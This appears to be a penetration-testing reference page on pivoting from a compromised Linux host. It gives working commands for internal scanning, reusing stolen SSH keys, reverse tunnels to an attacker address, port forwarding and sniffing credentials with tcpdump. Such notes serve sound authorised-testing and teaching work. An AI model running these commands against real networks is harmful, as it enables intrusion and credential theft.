Pivoting

Sections Pivoting

Using a rooted Linux host to reach the next segment. Tool deep-dives (chisel, ligolo, SSH tunnels, proxychains) live in Pivoting . This file is the Linux-specific surface and decision points.

i. First, see what the pivot can reach

ip a
ip r
arp -a
cat /etc/hosts /etc/resolv.conf

Look for:

  • Extra interfaces (eth1, tun0, docker0) -> separate networks
  • Routes to RFC1918 ranges not in your scope yet
  • DNS servers pointing to internal IPs
  • /etc/hosts entries naming internal services

ii. Discover live hosts on the new segment

Without dropping tools:

## ICMP sweep with parallel ping, pure shell:
for i in {1..254}; do (ping -c1 -W1 192.168.5.$i &>/dev/null && echo "192.168.5.$i alive") & done; wait

## TCP knock on a likely port:
for i in {1..254}; do (timeout 1 bash -c "</dev/tcp/192.168.5.$i/22" 2>/dev/null && echo "192.168.5.$i:22 open") & done; wait

## ARP table after a sweep (faster than icmp on slow boxes):
ip neigh

When you can drop tools (see 03 Shell & Tooling ):

nmap -sn 192.168.5.0/24
fping -ag 192.168.5.0/24 2>/dev/null

iii. Existing SSH config = next hops handed to you

The user you compromised often has SSH access to other boxes. Read their config:

cat ~/.ssh/config 2>/dev/null
cat ~/.ssh/known_hosts 2>/dev/null
ls -la ~/.ssh/

Try the existing keys against discovered hosts:

for k in ~/.ssh/id_*; do
  [[ "$k" == *.pub ]] && continue
  for h in $(awk '/Host / {print $2}' ~/.ssh/config); do
    ssh -i "$k" -o BatchMode=yes -o ConnectTimeout=3 "$h" id 2>/dev/null
  done
done

iv. Use the pivot as a SOCKS exit

Pick the tool by what’s outbound-allowed, see Pivoting for the full setup. Quick reminders:

## SSH dynamic forward, no extra tools, you have SSH on the pivot
ssh -D 1080 user@pivot

## Chisel reverse SOCKS, TCP allowed out
./chisel client 10.10.14.1:8000 R:socks

## Ligolo agent, when you want L3 with no proxychains
./agent -connect 10.10.14.1:11601 -ignore-cert

Then on attacker:

proxychains -q nxc smb 192.168.5.0/24 -u admin -p 'Password1'
proxychains -q nmap -sT -Pn 192.168.5.10

v. Port forward when SOCKS is overkill

Single internal service, single hole, no SOCKS overhead:

## Forward attacker:9000 to internal SMB
ssh -L 9000:192.168.5.10:445 user@pivot

## Same with socat on the pivot, no SSH
socat TCP-LISTEN:9000,fork,reuseaddr TCP:192.168.5.10:445 &

## iptables DNAT on the pivot (no extra binary)
iptables -t nat -A PREROUTING -p tcp --dport 9000 -j DNAT --to 192.168.5.10:445
iptables -t nat -A POSTROUTING -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward

vi. Scanning from the pivot without tools

Bash port scanner on the pivot, slow but works when you can’t install nmap:

scan() {
  local h=$1 ports=$2
  for p in ${ports//,/ }; do
    (timeout 1 bash -c "</dev/tcp/$h/$p" 2>/dev/null && echo "$h:$p open") &
  done
  wait
}
scan 192.168.5.10 22,80,443,445,3306,5432,8080

Sweep a range and a port set:

for h in 192.168.5.{1..254}; do scan "$h" 22,445; done

vii. DNS reconnaissance from the pivot

The pivot’s DNS server may know things your attacker box can’t resolve. Query directly:

dig @$(awk '/nameserver/{print $2; exit}' /etc/resolv.conf) -t AXFR corp.local
nslookup -type=any corp.local $(awk '/nameserver/{print $2; exit}' /etc/resolv.conf)
## Reverse lookup the internal range:
for i in {1..254}; do dig +short -x 192.168.5.$i; done | grep -v '^$'

viii. Tunneling traffic INTO the network

You want a colleague (or your own tool) to reach the internal range too. Reverse SSH dynamic forward:

## On pivot:
ssh -R 1080 user@10.10.14.1
## On attacker (and anyone with access to 10.10.14.1):
curl --socks5-hostname 127.0.0.1:1080 http://192.168.5.10

Same idea with chisel reverse SOCKS in Pivoting .

ix. Watch the network from the pivot

Sniff traffic on the pivot to catch creds, especially on flat L2 networks:

## Needs CAP_NET_RAW or root
tcpdump -i any -nA -s0 'tcp port 21 or tcp port 23 or tcp port 80 or tcp port 110 or tcp port 143' 2>/dev/null
## Or write a pcap and pull it back:
tcpdump -i any -w /tmp/.cap -G 60 -W 1 'not host 10.10.14.1'
Sniffing in containers

If the pivot is a container or VM, the L2 segment may be just the container network. You won’t see host traffic. Check ip a for docker0, veth* interfaces before assuming.

x. Dual-homed host gotchas

When the pivot has multiple interfaces, every tool needs to bind to the right one:

## Force nmap source IP
nmap -e eth1 -S 192.168.5.50 192.168.5.10
## SSH bind:
ssh -b 192.168.5.50 user@target
## curl bind:
curl --interface eth1 http://192.168.5.10

xi. Decision tree for picking the tool

  • SSH-only egress, SSH on pivot -> ssh -D 1080 (zero deploy)
  • Raw TCP egress allowed, need fast SOCKS -> chisel
  • Need to scan with ICMP/UDP from attacker side -> ligolo-ng
  • Egress is HTTPS only -> chisel + cloudflared, see Pivoting -> Tunnel over HTTPS
  • Pivot is constrained (no exec, no install) -> bash /dev/tcp + iptables
  • Pivot is Windows -> see Windows files (later batches)

xii. Cleanup

## Kill tunnels and binaries
pkill chisel
pkill -f 'ssh.*-D 1080'
pkill -f 'ssh.*-R 1080'
rm -f /tmp/.chisel /tmp/.agent /dev/shm/.scan

## Remove iptables rules you added
iptables -t nat -F PREROUTING
iptables -t nat -F POSTROUTING
echo 0 > /proc/sys/net/ipv4/ip_forward

See 13 Persistence & Cleanup for the full post-engagement checklist.